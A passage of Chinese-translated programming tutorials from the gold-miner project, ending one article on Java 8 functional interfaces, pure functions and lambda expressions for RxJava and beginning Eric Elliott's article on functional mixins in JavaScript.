接口了。它们都是有效的函数式接口。\n\nJava 7 的比较器：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.23.27-AM-300x171.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.23.27-AM.png)\n\n在 Java 8 里：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.25.44-AM-1024x773.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.25.44-AM.png)[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.29.23-AM-1024x650.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.29.23-AM.png)\n\n可别搞混了。它们都是有效的函数式接口。只要记住函数式接口的三点原则。\n\n只有一个抽象方法 － 可以有默认方法 － 可以使用 java.lang.Object 方法。\n\n如果任何接口满足这三点，那就一定是有效的函数式接口，反之则不是。\n\n在 Java 8 里有一个新的工具包 **java.util.function**。在这个包里，所有的接口都是函数式接口。当我们需要用到流（Stream） API 时，这个工具包很有用。当我们开始学习 Rx Android 的时候，这个包会让我们学到更多。\n\n很重要的一点。当我们要开始使用 Rx Android 时，我们会使用很多这样的函数式接口。基本上，在安卓平台中，我们依赖于 Rx Java 和 Rx Android。现在，我将要给你看一看 Rx Java 1.0 和 2.0 包里的函数式接口。没有必要去记住这个，也没有必要紧张，这只是通用知识。只要试着记得函数式接口的概念就可以了。当你开始使用 Rx，这些你都会在潜移默化中记住的。\n\nRxJava 1:\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM-120x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM.png)\n\nRxJava2:\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM-182x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM.png)\n\n哇哦！我们该庆祝一下我们已经知道什么是函数式接口，以及在 Java 8 里什么是默认方法。我在介绍一栏中写到的本章需要探讨的概念，已经解释完两个了。~~函数式接口、默认方法~~、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。\n\n**函数式编程:**\n\n说实话，我的大多数工作都是用 Java 和 C++ 完成的，而这两种语言都是命令式的而非纯函数式的。所以我打算尽力解决所有的我面对的困惑。如果我有什么地方弄错了，请不要介意。不过务必在回复里提醒我，这样我就可以修正我的文章了。\n\n在进入无聊的定义之前，我打算回顾我们在学校里学习到的理论。这对接下来阐释剩下模棱两可的名词是很有帮助的。\n\n每个做开发的人都知道函数。但是现在请试着忘记我们学习过的所有编程知识，重回学校。\n\n好孩子。\n\n数学概念上的函数是什么？［现在请忘掉你所知道的 Java 或者 C++ 等任何编程语言关于函数的所有知识。］\n\n什么是函数？一个根据输入决定输出的方程式。挺无聊的，好的，那忘记这个。\n\n有多少人听过下面的句子。\n\nf(x) = x+3\n\n如果 x = 2，答案是什么。\n\nf(x) 等于 y。\n\ny = x+3\n\nx = 2\n\ny = 2+3\n\ny = 5\n\n所以，f(x) = x+3 是一个函数。当你给同一个输入，会给你同样的输出。\n\n再来一个例子。\n\n有多少人记得 Sin(x) [ 三角函数 ]\n\n我们当然记得。在学校的时候，对一个 45° 的角取正弦，我会得到 1/2 的答案，如下所示。\n\ny = Sin(45deg)\n\ny = 1/2\n\n后来我在大学时代里也用过相同意义上的“函数”。对于给定的输入值，会得到唯一的结果。这就叫纯函数。我会在接下来解释。\n\n我们回顾了在大学里常用的一些函数。现在，当我们在编程中用同样的思想，这就叫函数式编程。不要紧张，我马上就会解释。我们从儿时的回忆里回来看看。\n\n首先，我们要讨论一些困惑。比如当我们刚开始写程序的时候，都写过一个计算圆面积的函数。\n\n```\npublic double areaOfACircle(int radius){\n    return radius*radius*3.14;\n}\n```\n\n很好。随着我变得更专业，我对函数认识也不同了。比如，写一个美元转巴基斯坦卢比的汇率计算器。\n\n```\npublic float convertUSDIntoPKR(int USD){\n    return USD*getTodayPKRValueFromAPI();\n}\n```\n\n在编程中，上面的是一个函数。但是在数学中，这就有问题了。因为在数学中，我们总是说，同一个输入对应同样的输出。但是编程中的函数给同样的输入可以有不同的输出，因为它依赖于其它数值。所以这里，我们又要介绍一个名词，叫纯函数。在数学概念里，我们知道每个函数都是纯函数，如 Sin()，但是，在我们的编程语言里，我们有很多函数给我们不同的数值。所以，这就是我们要介绍的，编程语言里的纯函数。 **纯函数的返回值由它的输入值决定，而且没有明显可见的副作用。**\n\n下一个名词，副作用。任何不纯的函数叫非纯函数，它可能产生副作用。或者一些函数本身是纯函数（指对于给定的输入值可以得出相同的输出值），但是如果它在产生结果的时候与外界发生了数据交换，那么我们就不能说这是一个纯函数。\n\n第一类非纯函数的典型就是 Random 函数。对于给定的一个输入值，它总是返回不同的结果。\n\n第二类副作用的典型是 println() ，它是一个非纯的函数。因为它将输出值转去了输入输出设备（而不是作为函数返回值输出），所以产生了副作用。任何纯函数一旦用 println() 来注释打印，那它就不再是纯函数了。\n\n一些例子：\n\n纯函数：\n\n```\npublic int squre(int x){\n    return x*x;\n}\n```\n\n因为副作用而非纯的函数；\n\n```\npublic int squre(int x){\n    System.out.println(x*x);\n    return x*x;\n}\n```\n\n非纯函数：\n\n```\npublic void login(String username, String password, Callback c){\n    API.login(username, password, callback);\n}\n```\n\n现在我们又理解了两个名词。纯函数和副作用。\n\n~函数式接口、默认方法、纯函数、函数的副作用~、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。\n\n接下来，我们准备讨论可变的不可变的。在数学中，我们记得，当我给函数一个值，我总能获得新的值，而我原来的值还是一样的。但是，在编程中，那个概念就变了。这时为什么我们有两种不同的定义。可变的和不可变的。在面向对象中，我们几乎无时不刻不在破坏不可变性。这可能导致很多问题，但是函数式编程总是利用不可变性。正如每个人都知道在 Java 里，String 是不可变的。\n\n```\nString s = \"Hello\";\ns = \"World\";\n```\n\n这里，我们本来的字符串从未改变。虽然第二行我们创建了新的字符串并且把它赋给我的 s 对象。\n\n所以，什么是可变的？给你一个例子。\n\n```\nint array []= {1,2,3,4,5};\nfor (int i = 0; i < array.length; i++) {\n    array[i] = array[i] * 2;\n}\n```\n\n在 Java 或者命令式编程中，我认为上面的代码基本上是可变的。它改变了原本的数组值。但是在函数式编程里，如果我做了同样的事情，我总是获得与 2 相乘后的数值组成的新数组，而我原来的数据仍然保持不变。\n\n```\nInteger array []= {1,2,3,4,5};\nArrays.stream(array).map(v->v*2).forEach(i-> System.out.print(i+\" \"));\nSystem.out.println();\nfor (int i = 0; i < array.length; i++) {\n    System.out.print(array[i]+ \" \");\n}\n```\n\n```\nOutput:\n2 4 6 8 10\n1 2 3 4 5\n```\n\n上面的例子是用 Java 8 写的，但是那跟之后讲 Rx 是一样的。举出这个例子，只是为了帮助你理解可变和不可变的概念。正如你所看到的，所输出的原本的数组值并没有改变。\n\n现在可能你在想这样的好处是什么。我这里用另外一个例子来解释。如果我知道我所有的函数都是纯的并且是不可变的，我可以做很多事情而不用管我数据的状态。例如，我要使用线程。\n\n```\npublic class FunctionalLambda {\n\n    public static void main(String[] args) {\n\n        Integer array []= {1,2,3,4,5};\n        new Thread(new Runnable() {\n            @Override\n            public void run() {\n                for (int i = 0; i < array.length; i++) {\n                    array[i] = array[i]+1;\n                }\n            }\n        }).start();\n        for (int i = 0; i < array.length; i++) {\n            System.out.println(square(array[i]));\n        }\n    }\n    public static int square(int a){\n        return a*a;\n    }\n}\n```\n\n在这个例子里，基本上我用到了线程。子线程让数组里的每一个数据 + 1，而主线程或者其他子线程则对数组中的数据做平方运算。作为一个开发者，我期望数值应如下所示。\n\n```\n1\n4\n9\n16\n25\n```\n\n但是，当我执行这段代码时，得到的结果如下。\n\n```\n4\n9\n16\n25\n36\n```\n\n结果和期望并不相同，因为我没有管数据可变性。现在我准备写一个合适的函数式程序，对数据的不可变性进行严格控制。\n\n```\npublic class FunctionalLambda {\n\n    public static void main(String[] args) {\n\n        Integer array []= {1,2,3,4,5};\n        new Thread(new Runnable() {\n            @Override\n            public void run() {\n                Observable.from(array)\n                        .map(integer -> integer+1)\n                        .subscribe(integer -> {});\n            }\n        }).start();\n\n        Observable.from(array)\n                .map(integer -> square(integer))\n                .subscribe(integer -> System.out.println(integer));\n\n    }\n\n    public static int square(int a){\n        return a*a;\n    }\n}\n```\n\n注意：如果要运行上面的例子，你需要[下载 rxjava 的 jar 包](https://mvnrepository.com/artifact/io.reactivex/rxjava/1.0.2)。\n\n运行完这段例子后，我所期望的和实际输出的是一致的，因为我的程序没有对数组做直接改变，而是拷贝了我的数据。这就是为什么我可以说我的数组是不可变的。对不起，我也用 Rx 了。但是从现在开始，我会加一点 Rx 到我的例子里。我会在接下来的文章中解释清楚。但是，请相信我，那是一个函数式程序。在程序里，我有一个纯函数做平方运算，并且我的数组不改变，因为我将使用函数式范式。\n\n~函数式接口、默认方法、纯函数、函数的副作用~、高阶函数、~可变的和不可变的~、函数式编程和 Lambda 表达式。\n\n是时候解释清楚高阶函数 (HOF) 的含义了。\n\n**拥有至少一个函数类型为参数的函数，或着返回一个函数的函数叫做高阶函数。**\n\n那简直太简单了，并且我们在 Rx 编程中用了很多这个概念。在 Java 8 之前，展示 HOF 还是有点困难的，但是我们使用匿名类作为 HOF。我们大多在 C++ 中使用这个概念，把函数作为一个参数。在安卓中，这就类似于添加一个匿名类为点击事件监听者。所以你可以说，这是 HOF 的一个例子。我会在介绍 Rx 的文章中更详细地解释这个。\n\n~函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的~、函数式编程和 Lambda 表达式。\n\n现在，如果我们使用这些概念，在任何语言中，我们所讨论的纯函数，HOF，不可变的都是接下来的函数式范式。那就是函数式编程。在面向对象编程时我们经常要管理对象的状态，但是在函数式程序里，我们有数据，管理好了不可变性，我们可以大胆地做运算。\n\n~~函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程~~和 Lambda 表达式。\n\n加油呀！我们已经弄清楚了很多关于函数式编程模棱两可的概念。现在我们要用学习 Lambda 表达式来结束这篇文章。\n\n在进入 Lambda 的章节前，我想复习一下前面的内容。\n\n函数式接口 － 有且仅有一个抽象方法的接口。\n\n默认方法 － 在 Java 8 里，我们可以在接口中定义有方法体的方法，这些叫默认方法。\n\n纯函数 － 一个函数的返回值仅由输入值决定，没有明显可见的副作用。\n\n**Lambda 表达式:**\n\n“**在计算机编程中，lambda 表达式，也叫匿名函数，是指一类无需定义标识符（函数名）的函数或子程序。**”(Wiki)\n\n首先，RxJava 并不依赖于 Lambda 表达式。实际上，函数式编程与 Lambda 表达式没有关系，正如你在我以上的例子中看到的那样，我从来没有说过我用了 lambda。只是 IDE 在某些地方可能把我的代码转换成了 lambda 表达式，但我可以不用它来写代码。那么，问题是，为什么在每一篇关于 Rx 或者函数式编程的博客里，我们看到 lambda 表达式总是核心内容。在我看来，你可以把它们理解为简洁高效的匿名函数语法。\n\n在我详细介绍 Lambda 表达式前，有个先决条件。我们已经知道 Java 是一个静态类型语言。它意味着所有的 java 程序对象和变量总是在编译时间里知道数据类型，如下面的例子所示。\n\n```\nint i = 1;\nfloat j = 3;\nPerson person = new Person();\nString s = \"Hello\";\n```\n\n同样的，在 Java 7 之前，我们准备用 Collections 来写一个完整的 List 对象初始化，如下所示。\n\n```\nList<String > list = new ArrayList<String >();\n```\n\n但在 Java 7，我们有类型引用的概念。使用这个概念，我们可以写出如下简洁的代码。\n\n\n```\nList<String > list = new ArrayList<>();\n```\n\n所以现在，编译器在编译时根据上下文决定数据类型。这样，我们就节省了很多时间。\n\n再一次，数据类型引用非常重要。所以我们要关注这个。在 Lambda 表达式中，我们要用到很多次，但是大家因为缺少这个概念而感到困惑。\n\n我们继续用另外一个例子来描述同一个概念。\n\n我写了一个方法，整数作为参数传入，而这个方法将不改变任何东西，返回同样的数值给我，如下所示。\n\n```\npublic static void main(String [] args){\n    System.out.println(giveMeBack(1));\n}\n\npublic static int  giveMeBack(int a){\n    return a;\n}\n```\n\n这是简单的例子。现在我想传个 3.14 给这个方法，有没有人告诉我，会发生什么呢？\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.23.34-PM-300x227.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.23.34-PM.png)\n\n是的，你的程序将无法编译。我已经说过了，这个方法只能传入整数。我的下一个要求是，我要使得这个方法适用于所有数据类型。作为一个开发者，我是一个懒人。我不想写重复的代码。这里我想利用 Java 的引用。\n\n```\npublic static<T> T  giveMeBack(T a){\n    return a;\n}\n```\n\n这也叫泛型。利用泛型，我节省了很多时间。这个方法可以适用于任何数据类型，如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.27.35-PM-300x164.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.27.35-PM.png)\n\n现在我从 Java 引用中获得了好处。怎么样获得的呢？我的编译器，编译我的程序，为我的所有数据类型生成了代码。现在，编译器可以很容易地从我的参数的数据类型做决定。这里没有什么神奇的地方。每当我没有提到数据结构，我的编译器就从上下文中提取并且赋予其数据类型，因为 Java 是一个静态类型语言。\n\n再重复一遍，Java 是一个静态类型语言。所以如果你觉得你在 IDE 中写的代码没有任何类型。你可能会认为你使用的是一个动态类型语言。你错了，你只是在利用 Java 类型推断而已。\n\n现在，我们可以开始写 Lambda 表达式了。目前，Lambda 表达式只支持 Java 8。在安卓中，如果我们想用它，我们可以用 Retrolambda 库。现在们来解释一下 lambda 表达式。\n\n在安卓中，我想要一个可监听点击事件的按钮，如下面代码所示。\n\n```\nButton button = new Button(this);\nbutton.setOnClickListener(new View.OnClickListener() {\n    @Override\n    public void onClick(View v) {\n        // Click\n    }\n});\n```\n\n这里我们传入了一个 OnClickLisetener 的匿名对象。当用户点击，onClick 方法就会被调用。现在我们要用 Lambda 表达式改变这个匿名的，恶心的，复杂的代码。\n\n```\nButton button = new Button(this);\nbutton.setOnClickListener((View v)->{\n    // Click\n});\n```\n\n通过使用 Lambda 表达式，我的代码可读性更强了。我准备再重构一下上面的例子。\n\n```\nbutton.setOnClickListener(v -> /* Click */);\n```\n\n我真的很喜欢写类似上面的代码，但是在开始的时候，我真的很困惑，编译器是如何知道我这里在做什么。首先，我利用了 Java 引用。就像编译时，Java 自动知道‘v'是一个 View，因为我们用的是**函数式接口**。这个接口只有一个抽象方法，它的参数是一个 view，如下所示。\n\n```\n/**\n * Interface definition for a callback to be invoked when a view is clicked.\n */\npublic interface OnClickListener {\n    /**\n     * Called when a view has been clicked.\n     *\n     * @param v The view that was clicked.\n     */\n    void **onClick**(View v);\n}\n```\n\n还记得接口函数的概念吗？现在所有的线索都被串起来了。我们已经讨论了函数式接口。它意味着任何以函数式接口为参数的方法，我就可以写成 Lambda 表达式。这意味着，Lambda 表达式是一个语法糖。我觉得你们现在已经知道 Lambda 表达式是个什么东西了。这就是为什么我要关注函数式接口和其它名词了。\n\n再来一个例子。\n\n```\nWithout Lambda:\n\nThread thread = new Thread(new Runnable() {\n    @Override\n    public void run() {\n        // Without Lambda\n    }\n});\nthread.start();\n```\n\n使用 Lambda 表达式：\n\n```\nThread thread = new Thread(()->{});\nthread.start();\n```\n\n在 Java 8 或者 Rx Java 中，我们会使用很多函数式接口，因为我们想写出简单明了的代码，并且寥寥数语就可以完成一个大功能。现在我觉得所有的困惑都已经清晰了。这里有一些关于 Lambda 表达式更重要的点。\n\n如果当按钮被按下时，我想写一行代码，我可以写成下面这样。\n\n```\nbutton.setOnClickListener(v -> System.out.println());\n```\n\n但如果我想写不止一行，那么我需要把它们写进花括号里，如下所示。\n\n```\nbutton.setOnClickListener(v -> {\n    System.out.println();\n    doSomething();\n});\n```\n\n我可以明确提及数据类型，如下所示。\n\n```\nbutton.setOnClickListener((View v) -> System.out.println());\n```\n\n现在，如何返回 Lambda 表达式类型呢？再给你一个例子。\n\n```\npublic interface Add{\n    int add(int a, int b);\n}\n\nprivate Add add= new Add() {\n    @Override\n    public int add(int a, int b) {\n        return a+b;\n    }\n};\n\nint sum = add.add(1,2);\n```\n\n现在我使用 Lambda 表达式来表现同一个例子。\n\n```\npublic interface Add{\n    int add(int a, int b);\n}\n\nprivate Add add = (a, b) -> a+b;\n\nint sum = add.add(1,2);\n```\n\n现在可以看到我写的代码有多简洁了。它们的功能是一样的。我没有提及任何返回的数据类型，因为 Java 的类型引用自动帮我决定了这是一个整型。现在，如果我想添加更多的代码到 add 方法的实现中，只需要像下面那样写就行了。\n\n```\npublic interface Add{\n    int add(int a, int b);\n}\n\nprivate Add add = (a, b) -> {\n    System.out.println();\n    return a+b;\n};\n\nint sum = add.add(1,2);\n\n```\n\n\n现在我们知道函数式接口、默认方法、纯函数、函数的副作用、阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。\n\n\n结论：\n\n大家都太棒了。今天我们到达了一个 Rx 学习中的里程碑。下一篇文章是 [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md)。到现在为止，我们了解了观察者模式、拉模式与推模式、响应式与命令式、函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。我认为，如果你都了解了上述名词，Rx 的学习将会越来越简单。现在我感觉你们都已经了解了，所以接下来 Rx 的学习对于我们都会更简单。\n\n祝你们有个愉快的周末。让我们下周再见吧。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/functional-mixins-composing-software.md",
    "content": "> * 原文地址：[Functional Mixins](https://medium.com/javascript-scene/functional-mixins-composing-software-ffb66d5e731c)\n> * 原文作者：本文已获原作者 [Eric Elliott](https://medium.com/@_ericelliott) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[Tina92](https://github.com/Tina92) [reid3290](https://github.com/reid3290)\n\n---\n\n# 函数式 Mixin（软件编写）（第七部分）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg\">\n\nSmoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））\n\n> 注意：这是 “软件编写” 系列文章的第七部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科\n> [< 上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/functors-categories.md) | [<< 返回第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md) | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/javascript-factory-functions-with-es6.md)\n\n**函数式 Mixins** 是通过管道（pipeline）连接起来的、可组合的工厂函数。每一个工厂函数就类似于流水线上的工人，负责为原始对象添加一个额外的属性或者行为。函数式 Mixin 不依赖一个基础工厂函数或者构造函数，我们仅仅需要向 Mixin 管道入口塞入任意一个对象，在管道出口就能获得该对象的增强版本。\n\n函数式 Mixin 有这么一些特点：\n\n- 可以实现数据私有（通过闭包）。\n- 可以继承私有状态。\n- 可以实现多继承。\n- 不存在[菱形问题](https://www.wikiwand.com/en/Multiple_inheritance#/The_diamond_problem)，在 JavaScript 实现的函数式 Mixin 中，有这么一个原则 -- 后进有效（last in wins）。\n- 不需要基类。\n\n### 动机\n\n现如今的软件开发都是在做组合工作：我们将大型的、复杂的问题，划分成多个小的、简单的问题，对各个小问题的解决最终就构成了我们的应用。\n\n组合有下面这两个基本元素：\n\n- 函数\n- 数据结构\n\n这些基本元素组成了应用结构。通常，复合对象（composite objects）是通过类继承（某个类从父类继承了许多功能，再通过扩展或者重载来增强自身）产生的。类继承的问题在于，它描述的是一个 **is-a** 的思考，例如，“一个管理员也是一个员工”，这种思考方式会造成很多的设计问题：\n\n- **紧耦合问题**：由于子类依赖于父类的实现，在面向对象设计中，类继承无法避免的产生了最紧耦合。\n- **基类的脆弱问题**：由于紧耦合的存在，对基类的更改可能会破坏大量的子类-甚至潜在改变由第三方管理的代码。作者可能在不知情的状态下破坏了代码。\n- **不够灵活的继承层次问题**：由于各个类都是由一个祖先分类演化开来，久而久之，对于新的用例，我们将难以确定其类别。（译注：比如绿色卡车这个类应当继承自卡车类，还是继承自绿色类？）\n- **不得已的复制问题**：由于不够灵活的继承层次，新的用例通常都是通过复制实现的，而不是扩展，这就造成了相似类之间可能存在歧义。一旦出现了复制问题，那么新的类该从哪个类继承，为什么要从这个类继承，都变得模棱两可了。\n- **猩猩和香蕉问题**：“面向对象的问题在于解决问题时不得不构建一整个隐性环境。这好比你只想要一只香蕉，但最终拿到的确是拿着猩猩的香蕉和整个丛林。” ~ Joe Armstrong 在其著作 [Coders at Work](http://www.amazon.com/gp/product/1430219483?ie=UTF8&amp;camp=213733&amp;creative=393185&amp;creativeASIN=1430219483&amp;linkCode=shr&amp;tag=eejs-20&amp;linkId=3MNWRRZU3C4Q4BDN) 中这样描述面向对象。\n\n在 “认为一个管理员是一个员工”（is-a） 的思维模式下，你如何通过类继承实现这么一个场景：雇佣一个外部顾问来临时执行一些管理性质的工作。如果你提前就知道这个场景面临的种种需求，也许类继承可以工作良好，但至少我个人从未见过谁能对此了若指掌。随着应用规模的膨胀，更有效的功能扩展方式也渐渐出现。\n\nMixin 横空出世，提供了类继承所不能及的灵活性。\n\n### 什么是 Mixin ？\n\n> **“优先考虑对象组合而不是类继承”** 这句话出自 “四人帮（the Gang of Four，GoF）” 的著作 [**Design Patterns: Elements of Reusable Object Oriented Software**](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612/ref=as_li_ss_tl?ie=UTF8&amp;qid=1494993475&amp;sr=8-1&amp;keywords=design+patterns&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=6c553f16325f3939e5abadd4ee04e8b4)\n\nMixin 是一个**对象组合**的形式，某个组件特性将被混入（mixin）到复合对象中，这样，每个 Mixin 的特性也能变成这个复合对象的特性。\n\n“mixins” 这个术语在面向对象程序设计中是来自于出售自助口味冰淇淋的甜品店。在这样的冰淇淋店中，你买不到一个多种口味的冰淇淋，你只能买到一个原味冰淇淋，然后根据自己的口味，添加其他风味的酱料。\n\n对象的 Mixin 过程与之类似：一开始，你只有一个空对象，通过不断混入新的特性来扩展这个对象。由于 JavaScript 支持动态对象扩展（译注：`obj.newProp = xxx`），并且对象不依赖于类，因此，在 JavaScript 中进行 Mixin 将无比简单，这也让 Mixin 成为了 JavaScript 最常用的继承方式。下面这个例子展示了我们如何获得一个多味冰淇淋：\n\n```js\nconst chocolate = {\n  hasChocolate: () => true\n};\n\nconst caramelSwirl = {\n  hasCaramelSwirl: () => true\n};\n\nconst pecans = {\n  hasPecans: () => true\n};\n\nconst iceCream = Object.assign({}, chocolate, caramelSwirl, pecans);\n\n/*\n// 如果你所采用的环境支持解构赋值，也可以这么做：\nconst iceCream = {...chocolate, ...caramelSwirl, ...pecans};\n*/\n\nconsole.log(`\n  hasChocolate: ${ iceCream.hasChocolate() }\n  hasCaramelSwirl: ${ iceCream.hasCaramelSwirl() }\n  hasPecans: ${ iceCream.hasPecans() }\n`);\n```\n\n程序输出如下：\n\n```\nhasChocolate: true\nhasCaramelSwirl: true\nhasPecans: true\n```\n\n### 什么是函数式继承 ？\n\n使用函数式继承（Functional Inheritance）来增加对象特性的方式是，将一个增强函数（augmenting function）直接应用到对象实例上。函数能通过闭包来实现数据私有，增强函数使用动态对象扩展来为对象增加新的属性或者方法。\n\n让我们看一下 Douglas Crackford 给出的函数式继承的例子：\n\n```js\n// 基础对象工厂\nfunction base(spec) {\n    var that = {}; // 创建一个空对象\n    that.name = spec.name; // 为对象增加一个 “name” 属性\n    return that; // 生产完毕，返回该对象\n}\n\n// 构造一个子对象，该对象产生（继承）自基础对象工厂\nfunction child(spec) {\n    // 通过 “基础” 构造函数来创建对象\n    var that = base(spec);\n    // 通过增强函数来动态扩展对象\n    that.sayHello = function() {\n        return 'Hello, I\\'m ' + that.name;\n    };\n    return that; // 返回该对象\n}\n\n// Usage\nvar result = child({ name: 'a functional object' });\nconsole.log(result.sayHello()); // \"Hello, I'm a functional object\"\n```\n\n由于 `child()` 紧耦合于 `base()`，当我们创建更多的子孙对象 `grandchild()`、`greateGrandChild()` 时，就不得不面临类继承所面临的问题。\n\n### 什么是函数式 Mixin ？\n\n使用函数式 Mixin 扩展对象依赖于一些可组合的函数，这些函数能够将新的特性混入到指定对象上。新的属性或者行为来自于指定的对象。函数式的 Mixin 不依赖于基础对象构造工厂，传递任意一个对象，经过混入，就能得的扩展后的对象。\n\n我们看到下面的一个例子，`flying()` 将能够为对象添加飞行的能力：\n\n```js\n// flying 是一个可组合的函数\nconst flying = o => {\n  let isFlying = false;\n\n  return Object.assign({}, o, {\n    fly () {\n      isFlying = true;\n      return this;\n    },\n\n    isFlying: () => isFlying,\n\n    land () {\n      isFlying = false;\n      return this;\n    }\n  });\n};\n\nconst bird = flying({});\nconsole.log( bird.isFlying() ); // false\nconsole.log( bird.fly().isFlying() ); // true\n```\n\n注意到，当我们调用 `flying()` 方法时，我们需要将待扩展的对象传入，函数式 Mixin 是服务于函数组合的。我们再创建一个喊叫 Mixin，当我们传递一个喊叫函数 `quack`，`quacking()` 这个 Mixin 就能为对象添加喊叫的能力：\n\n```js\nconst quacking = quack => o => Object.assign({}, o, {\n  quack: () => quack\n});\n\nconst quacker = quacking('Quack!')({});\nconsole.log( quacker.quack() ); // 'Quack!'\n```\n\n### 对函数式 Mixin 进行组合\n\n函数式 Mixin 可以通过一个简单的组合函数进行组合。现在，对象具备了飞行和喊叫的能力：\n\n```js\nconst createDuck = quack => quacking(quack)(flying({}));\n\nconst duck = createDuck('Quack!');\n\nconsole.log(duck.fly().quack());\n```\n\n这段代码可能不是那么易读，并且，也不容易 debug 或者改变组合顺序。\n\n这是一个标准的函数组合方式，在前面的章节中，我们知道，更优雅的组合方式是 `composing()` 或者 `pipe()`。如果我们使用 `pipe()` 方法来反转函数的组合顺序，那么组合能够被读成 `Object.assign({}, ...)` 或者 `{...object, ...spread}`，这保证了 mixin 的顺序是按照声明顺序的。如果出现了属性冲突，那么按照**后进有效**的原则处理。\n\n```js\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n// 如果不想用自定义的 `pipe()`\n// 可以 import pipe from `lodash/fp/flow`\n\nconst createDuck = quack => pipe(\n  flying,\n  quacking(quack)\n)({});\n\nconst duck = createDuck('Quack!');\n\nconsole.log(duck.fly().quack());\n```\n\n### 什么时候使用函数式 Mixin ？\n\n你应该尽可能使用最简单的抽象来解决问题。首先被你考虑的应该是最简单的纯函数。如果对象需要维持一个持续的状态，那么考虑使用工厂函数。如果需要构建更加复杂的对象，再考虑使用函数式 Mixin。\n\n下面列举了一些函数式 Mixin 的适用场景：\n\n- 应用状态管理，例如 Redux store。\n- 特定的横切关注点或者服务（cross-cutting concerns and services），例如一个集中的日志管理。\n- 具有生命周期钩子的 UI 组件。\n- 可组合的数据类型，例如，JavaScript 的 `Array` 类型通过 Mixin 实现 `Semigroup`、`Functor`、`Foldable` 等。\n\n一些代数结构可能派生于另一些代数结构，这意味着某个特定的派生能够组合成新的数据类型，而不需要重新自定义实现。\n\n### 注意了\n\n大多数问题通过纯函数就解决了，但函数式 Mixin 却并非如此。类似于类继承，函数式 Mixin 也有其自身的一些问题，甚至于，它可能重现类继承所面临的问题。\n\n你可以采纳下面这些建议来规避这个问题：\n\n- 在必须的情况下，按照从左到右的顺序考虑实现方式：纯函数 > 工厂函数 > 函数式 Mixin > 类。\n- 避免使用 “is-a” 关系来组织对象、Mixin 以及数据类型。\n- 避免 Mixin 间的隐式依赖，无论如何，函数式 Mixin 都不应该自我维护状态，也不需要其他的 Mixin。（译注：后文会解释什么叫做隐式依赖）。\n- “函数式 Mixin” 不意味着 “函数式编程”。\n\n### 类\n\n类继承几乎（甚至可以说是从来）不是 JavaScript 中扩展功能的最佳途径，但不一定所有人都这么想，因此你无法控制一些第三方库或者框架去使用类和类继承。在这种情况下，对于使用了 `class` 关键字的库或者框架来说，需要做到：\n\n1. 不要求你（指使用这些库或框架的开发者）使用它们的类来扩展自己的类（不要求你去构建一个多层次的类层级）。\n2. 不要求你直接使用 `new` 关键字，换言之，由框架去负责对象实例化过程。\n\nAngular 2+ 和 React 都满足了这些要求，所以只要你不扩展自己的类，你就大可放心的使用它们。React 